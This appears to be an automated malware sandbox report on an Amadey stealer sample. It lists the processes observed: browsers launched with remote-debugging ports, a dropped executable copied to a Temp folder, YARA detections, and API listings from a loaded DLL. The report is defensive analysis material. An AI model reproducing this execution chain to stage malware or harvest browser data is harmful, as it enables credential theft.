Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:16:29
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2148,i,4198706579976940952,3932764698793424289,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:16:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:16:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2288,i,817918641045606747,12257324386537254083,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:16:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:16:41
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:16:45
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6464 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:16:45
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:16:46
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:16:46
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:17:09
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGIDAAFIEH.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:17:09
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:17:09
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsEGIDAAFIEH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsEGIDAAFIEH.exe"
Imagebase:	0xa60000
File size:	1'917'952 bytes
MD5 hash:	F2D011251D3B81EE30BD85F4F705152B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2770252094.0000000000A61000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2729714258.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:17:13
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7b0000
File size:	1'917'952 bytes
MD5 hash:	F2D011251D3B81EE30BD85F4F705152B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2761862084.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2802363504.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:17:41
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5952 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	03:18:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7b0000
File size:	1'917'952 bytes
MD5 hash:	F2D011251D3B81EE30BD85F4F705152B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3470370097.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.3228389007.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:18:17
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe"
Imagebase:	0x520000
File size:	4'497'920 bytes
MD5 hash:	791373B49F4EE813CD3B2869A62D5E86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
__aulldiv.LIBCMT ref: 6C9636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C963773
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C96377E
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9637C4
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9637CB
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C963801
__aulldiv.LIBCMT ref: 6C963883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C963902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C963918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C96394C

Strings

GenuntelineI, xrefs: 6C963639
MOZ_TIMESTAMP_MODE, xrefs: 6C9635DB
GTC, xrefs: 6C963912
AuthcAMDenti, xrefs: 6C963946
QPC, xrefs: 6C9638FC

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction ID: 2c3a290a033bbbf252d2fa40c6f8ab3811b988b418c87b220ea80aa77cf8596f
Opcode Fuzzy Hash: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction Fuzzy Hash: 7BB1C471B083409BDB48DF39D84561ABBF5BFAEB04F15892EE499D7B90D770D9008B81

Function 6C97C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C97C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C97C969
GetSystemInfo.KERNEL32(?), ref: 6C97C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C97C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C97C9E2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction ID: a8d9a50efb501171aa60683ff9d3309aa07339397acbd5a4ba8b7cc4ade53ced
Opcode Fuzzy Hash: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction Fuzzy Hash: F121FC32746314ABDB94AA24DC84BAE7779FF9A704F60051AF903A7B40DB70DD40C7A4

Function 6C963060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C963095

Part of subcall function 6C9635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
Part of subcall function 6C9635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
Part of subcall function 6C9635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
Part of subcall function 6C9635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
Part of subcall function 6C9635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
Part of subcall function 6C9635A0: __aulldiv.LIBCMT ref: 6C9636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96309F

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9630BE

Part of subcall function 6C9630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C963127
Part of subcall function 6C9630F0: __aulldiv.LIBCMT ref: 6C963140

Part of subcall function 6C99AB2A: __onexit.LIBCMT ref: 6C99AB30

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction ID: b2bdbc77596f9693897eda8bc21137a85c06c6467ddc4d83fcbced6ec53e0a56
Opcode Fuzzy Hash: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction Fuzzy Hash: F3F0D612E2974CD7DB50DF34A8411AA7370AFBF618B20171BE84453551FB20A2D88382

Non-executed Functions

Function 6C975440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C975492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9754BE
__Init_thread_footer.LIBCMT ref: 6C9754DB

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C975516
GetCurrentThreadId.KERNEL32 ref: 6C97556A
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975577
moz_xmalloc.MOZGLUE(00000070), ref: 6C975585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C975590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9755E6
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C975616

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetCurrentThreadId.KERNEL32 ref: 6C97563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C975646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C97567C
free.MOZGLUE(?), ref: 6C9756AE

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9756E8
GetCurrentThreadId.KERNEL32 ref: 6C975707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C97570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C975729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C97574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C97576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C975796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9757CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9757AE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C975791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C975717
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C975766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C975D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6C975511
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C975724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C975CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C975B38
GeckoMain, xrefs: 6C975554, 6C9755D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C975D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C975C56
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9754A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9756E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C97548D
tyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAt, xrefs: 6C9757BC
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C975AC9
MOZ_PROFILER_STARTUP, xrefs: 6C9755E1
[I %d/%d] profiler_init, xrefs: 6C97564E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C975D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C975749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9754B9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C975BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9757C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C975D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C97584E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: tyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAt$- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-3536028057
Opcode ID: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction ID: 8477e72cc3cbe838dc11b2afec74290933f29c0f2f9f7f6a239dac51665badca
Opcode Fuzzy Hash: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction Fuzzy Hash: 43221771A093409FEB919F74C44476A7BF4FFAA30CF14492AE84A97B41EB35C445CB62

Function 6C9AB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AB845
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AB852
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9AB8D2
